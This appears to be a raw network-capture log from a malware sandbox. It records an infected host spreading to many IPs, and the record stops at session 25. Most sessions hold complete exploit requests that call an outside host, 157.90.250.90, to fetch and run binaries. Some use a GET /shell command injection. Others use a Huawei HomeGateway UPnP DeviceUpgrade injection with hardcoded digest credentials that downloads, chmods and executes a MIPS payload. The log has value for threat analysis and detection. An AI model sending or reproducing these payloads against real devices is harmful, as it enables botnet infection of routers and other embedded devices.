Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	48216	20.138.99.28	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:01.647440910 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	58106	59.56.240.27	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:01.648194075 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	59470	89.149.14.97	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:01.648865938 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	49040	190.79.16.71	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:01.649553061 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	56372	174.173.230.7	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:01.650180101 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	38452	41.27.156.130	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:02.300318956 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	44582	156.224.8.58	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:02.317656994 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	49834	41.4.78.113	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:02.416228056 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	40560	156.195.107.152	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:02.416973114 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	33108	180.213.220.136	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:02.918370008 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	52796	95.151.233.29	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:02.919035912 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	49062	66.239.105.236	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:02.919680119 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	41634	72.156.95.79	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:02.920309067 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	54526	197.204.215.30	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:03.311954975 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	59314	156.116.66.124	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:03.312741995 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	43650	156.206.187.245	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:03.313431978 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	37798	156.5.0.72	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:03.314080000 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	55034	197.68.5.1	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:03.314704895 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	42478	197.3.229.239	37215

Timestamp	Bytes transferred	Direction	Data
